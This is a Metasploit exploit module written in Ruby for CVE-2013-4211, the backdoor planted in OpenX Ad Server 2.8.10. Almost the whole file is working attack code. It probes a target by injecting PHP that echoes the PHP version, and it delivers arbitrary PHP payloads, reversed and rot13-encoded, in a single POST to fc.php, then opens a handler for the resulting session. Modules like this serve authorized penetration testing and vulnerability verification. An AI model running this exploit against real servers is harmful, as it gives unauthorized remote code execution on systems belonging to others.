102 lines
2.8 KiB
Ruby
102 lines
2.8 KiB
Ruby
|
##
|
||
|
|
# This file is part of the Metasploit Framework and may be subject to
|
||
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||
|
|
# web site for more information on licensing and terms of use.
|
||
|
|
# http://metasploit.com/
|
||
|
|
##
|
||
|
|
|
||
|
|
require 'msf/core'
|
||
|
|
|
||
|
|
class Metasploit3 < Msf::Exploit::Remote
|
||
|
|
Rank = ExcellentRanking
|
||
|
|
|
||
|
|
include Msf::Exploit::Remote::HttpClient
|
||
|
|
|
||
|
|
def initialize(info = {})
|
||
|
|
super(update_info(info,
|
||
|
|
'Name' => 'OpenX Backdoor PHP Code Execution',
|
||
|
|
'Description' => %q{
|
||
|
|
OpenX Ad Server version 2.8.10 was shipped with an obfuscated
|
||
|
|
backdoor since at least November 2012 through August 2013.
|
||
|
|
Exploitation is simple, requiring only a single request with a
|
||
|
|
rot13'd and reversed payload.
|
||
|
|
},
|
||
|
|
'Author' =>
|
||
|
|
[
|
||
|
|
'egypt', # Metasploit module, shouts to bperry for hooking me up with the vuln software
|
||
|
|
'Unknown', # Someone planted this backdoor...
|
||
|
|
],
|
||
|
|
'License' => MSF_LICENSE,
|
||
|
|
'References' => [
|
||
|
|
[ 'CVE', '2013-4211' ],
|
||
|
|
[ 'URL', 'http://www.heise.de/security/meldung/Achtung-Anzeigen-Server-OpenX-enthaelt-eine-Hintertuer-1929769.html'],
|
||
|
|
[ 'URL', 'http://forum.openx.org/index.php?showtopic=503521628'],
|
||
|
|
],
|
||
|
|
'Privileged' => false,
|
||
|
|
'Payload' =>
|
||
|
|
{
|
||
|
|
'DisableNops' => true,
|
||
|
|
# Arbitrary big number. The payload gets sent as POST data, so
|
||
|
|
# really it's unlimited
|
||
|
|
'Space' => 262144, # 256k
|
||
|
|
},
|
||
|
|
'DisclosureDate' => 'Aug 07 2013',
|
||
|
|
'Platform' => 'php',
|
||
|
|
'Arch' => ARCH_PHP,
|
||
|
|
'Targets' => [[ 'Generic (PHP payload)', { }]],
|
||
|
|
'DefaultTarget' => 0))
|
||
|
|
|
||
|
|
register_options([
|
||
|
|
OptString.new('TARGETURI', [true, "The URI to request", "/openx/"]),
|
||
|
|
], self.class)
|
||
|
|
end
|
||
|
|
|
||
|
|
def check
|
||
|
|
token = rand_text_alpha(20)
|
||
|
|
response = execute_php("echo '#{token} '.phpversion();die();")
|
||
|
|
|
||
|
|
if response.nil?
|
||
|
|
CheckCode::Unknown
|
||
|
|
elsif response.body =~ /#{token} ((:?\d\.?)+)/
|
||
|
|
print_status("PHP Version #{$1}")
|
||
|
|
return CheckCode::Vulnerable
|
||
|
|
end
|
||
|
|
return CheckCode::Safe
|
||
|
|
end
|
||
|
|
|
||
|
|
def exploit
|
||
|
|
execute_php(payload.encoded)
|
||
|
|
|
||
|
|
handler
|
||
|
|
end
|
||
|
|
|
||
|
|
def execute_php(php_code)
|
||
|
|
money = rot13(php_code.reverse)
|
||
|
|
begin
|
||
|
|
response = send_request_cgi( {
|
||
|
|
'method' => "POST",
|
||
|
|
'global' => true,
|
||
|
|
'uri' => normalize_uri(target_uri.path,"www","delivery","fc.php"),
|
||
|
|
'vars_get' => {
|
||
|
|
'file_to_serve' => "flowplayer/3.1.1/flowplayer-3.1.1.min.js",
|
||
|
|
'script' => 'deliveryLog:vastServeVideoPlayer:player'
|
||
|
|
},
|
||
|
|
'vars_post' => {
|
||
|
|
'vastPlayer' => money
|
||
|
|
},
|
||
|
|
}, 0.1)
|
||
|
|
rescue ::Rex::ConnectionError => e
|
||
|
|
fail_with(::Msf::Exploit::Failure::Unreachable, e.message)
|
||
|
|
rescue ::OpenSSL::SSL::SSLError
|
||
|
|
print_error("The target failed to negotiate SSL, is this really an SSL service?")
|
||
|
|
end
|
||
|
|
|
||
|
|
response
|
||
|
|
end
|
||
|
|
|
||
|
|
def rot13(str)
|
||
|
|
str.tr! "A-Za-z", "N-ZA-Mn-za-m"
|
||
|
|
end
|
||
|
|
|
||
|
|
end
|